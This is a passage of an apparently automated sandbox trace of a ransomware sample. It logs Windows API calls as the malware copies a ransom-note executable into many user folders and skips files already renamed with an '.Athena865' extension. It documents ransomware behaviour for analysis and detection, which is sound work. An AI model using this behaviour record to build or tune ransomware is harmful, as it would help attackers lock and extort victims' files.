TO BACK YOUR FILES.exe") returned 0 [0100.492] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f45740, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f45740, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0100.492] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.492] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.492] lstrcpyW (in: lpString1=0x241e898, lpString2="Links" | out: lpString1="Links") returned="Links" [0100.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae90 [0100.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x524158 [0100.492] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0100.492] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0100.492] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.493] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f45740, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f45740, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0100.493] lstrcmpiW (lpString1="Microsoft Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.493] lstrcmpiW (lpString1="Microsoft Websites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.493] lstrcpyW (in: lpString1=0x241e898, lpString2="Microsoft Websites" | out: lpString1="Microsoft Websites") returned="Microsoft Websites" [0100.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae78 [0100.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x53b7a0 [0100.493] lstrcatW (in: lpString1="Microsoft Websites", lpString2="\\" | out: lpString1="Microsoft Websites\\") returned="Microsoft Websites\\" [0100.493] lstrcatW (in: lpString1="Microsoft Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Websites\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Websites\\HOW TO BACK YOUR FILES.exe" [0100.493] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.494] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f6b8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f6b8a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0100.494] lstrcmpiW (lpString1="MSN Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.494] lstrcmpiW (lpString1="MSN Websites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.494] lstrcpyW (in: lpString1=0x241e898, lpString2="MSN Websites" | out: lpString1="MSN Websites") returned="MSN Websites" [0100.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f3a8 [0100.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x539ab8 [0100.494] lstrcatW (in: lpString1="MSN Websites", lpString2="\\" | out: lpString1="MSN Websites\\") returned="MSN Websites\\" [0100.494] lstrcatW (in: lpString1="MSN Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSN Websites\\HOW TO BACK YOUR FILES.exe") returned="MSN Websites\\HOW TO BACK YOUR FILES.exe" [0100.494] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.494] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f6b8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f6b8a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0100.494] lstrcmpiW (lpString1="Windows Live", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.494] lstrcmpiW (lpString1="Windows Live", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.494] lstrcpyW (in: lpString1=0x241e898, lpString2="Windows Live" | out: lpString1="Windows Live") returned="Windows Live" [0100.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f3c0 [0100.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x539b30 [0100.495] lstrcatW (in: lpString1="Windows Live", lpString2="\\" | out: lpString1="Windows Live\\") returned="Windows Live\\" [0100.495] lstrcatW (in: lpString1="Windows Live\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Live\\HOW TO BACK YOUR FILES.exe") returned="Windows Live\\HOW TO BACK YOUR FILES.exe" [0100.495] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.495] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f6b8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f6b8a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0100.495] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.495] ReleaseMutex (hMutex=0xec) returned 1 [0100.495] CloseHandle (hObject=0xec) returned 1 [0100.495] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0100.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5174d8 | out: hHeap=0x4f0000) returned 1 [0100.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aea8 | out: hHeap=0x4f0000) returned 1 [0100.495] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned 35 [0100.495] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8BA25FB99F8D1132BAAB5E3858B8B9E9") returned 0xec [0100.495] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.496] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0100.496] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.496] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.496] GetLastError () returned 0x0 [0100.496] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f790 [0100.496] ReadFile (in: hFile=0xf4, lpBuffer=0x53f790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.497] CloseHandle (hObject=0xf4) returned 1 [0100.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f790 | out: hHeap=0x4f0000) returned 1 [0100.497] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.497] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6180be0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6180be0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.498] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.498] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.498] lstrcpyW (in: lpString1=0x241e890, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0100.498] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.498] lstrlenW (lpString="Athena865") returned 9 [0100.498] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.498] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc60e8660, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk.Athena865", cAlternateFileName="DESKTO~2.ATH")) returned 1 [0100.498] lstrcmpiW (lpString1="Desktop.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.498] lstrcmpiW (lpString1="Desktop.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.498] lstrcpyW (in: lpString1=0x241e890, lpString2="Desktop.lnk.Athena865" | out: lpString1="Desktop.lnk.Athena865") returned="Desktop.lnk.Athena865" [0100.498] lstrlenW (lpString="Desktop.lnk.Athena865") returned 21 [0100.498] lstrlenW (lpString="Athena865") returned 9 [0100.498] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.498] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc6134920, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk.Athena865", cAlternateFileName="DOWNLO~1.ATH")) returned 1 [0100.498] lstrcmpiW (lpString1="Downloads.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.498] lstrcmpiW (lpString1="Downloads.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.498] lstrcpyW (in: lpString1=0x241e890, lpString2="Downloads.lnk.Athena865" | out: lpString1="Downloads.lnk.Athena865") returned="Downloads.lnk.Athena865" [0100.498] lstrlenW (lpString="Downloads.lnk.Athena865") returned 23 [0100.498] lstrlenW (lpString="Athena865") returned 9 [0100.498] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.498] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce37aa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce37aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.498] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.498] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk.Athena865", cAlternateFileName="RECENT~1.ATH")) returned 1 [0100.498] lstrcmpiW (lpString1="RecentPlaces.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.498] lstrcmpiW (lpString1="RecentPlaces.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.498] lstrcpyW (in: lpString1=0x241e890, lpString2="RecentPlaces.lnk.Athena865" | out: lpString1="RecentPlaces.lnk.Athena865") returned="RecentPlaces.lnk.Athena865" [0100.499] lstrlenW (lpString="RecentPlaces.lnk.Athena865") returned 26 [0100.499] lstrlenW (lpString="Athena865") returned 9 [0100.499] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.499] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk.Athena865", cAlternateFileName="RECENT~1.ATH")) returned 0 [0100.499] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.499] ReleaseMutex (hMutex=0xec) returned 1 [0100.499] CloseHandle (hObject=0xec) returned 1 [0100.499] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0100.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5241c0 | out: hHeap=0x4f0000) returned 1 [0100.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aec0 | out: hHeap=0x4f0000) returned 1 [0100.499] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned 44 [0100.499] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6B8168587E88A5A8A1B0BF4BA9918F5E") returned 0xec [0100.499] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.499] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0100.499] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.499] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.500] GetLastError () returned 0x0 [0100.500] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f790 [0100.500] ReadFile (in: hFile=0xf4, lpBuffer=0x53f790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.501] CloseHandle (hObject=0xf4) returned 1 [0100.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f790 | out: hHeap=0x4f0000) returned 1 [0100.501] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6219160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6219160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.501] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.501] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.501] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0100.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aec0 [0100.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x53f7a8 [0100.502] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0100.502] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0100.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.502] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0100.502] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.502] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.502] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0100.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aea8 [0100.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x51a190 [0100.502] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0100.502] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0100.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.503] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0100.503] lstrcmpiW (lpString1="Apps", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.503] lstrcmpiW (lpString1="Apps", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.503] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Apps" | out: lpString1="Apps") returned="Apps" [0100.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f3d8 [0100.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53f818 [0100.503] lstrcatW (in: lpString1="Apps", lpString2="\\" | out: lpString1="Apps\\") returned="Apps\\" [0100.503] lstrcatW (in: lpString1="Apps\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Apps\\HOW TO BACK YOUR FILES.exe") returned="Apps\\HOW TO BACK YOUR FILES.exe" [0100.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Apps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\apps\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.504] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0100.504] lstrcmpiW (lpString1="Deployment", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.504] lstrcmpiW (lpString1="Deployment", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.504] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Deployment" | out: lpString1="Deployment") returned="Deployment" [0100.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f3f0 [0100.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x539ba8 [0100.504] lstrcatW (in: lpString1="Deployment", lpString2="\\" | out: lpString1="Deployment\\") returned="Deployment\\" [0100.504] lstrcatW (in: lpString1="Deployment\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Deployment\\HOW TO BACK YOUR FILES.exe") returned="Deployment\\HOW TO BACK YOUR FILES.exe" [0100.504] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\deployment\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.505] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, 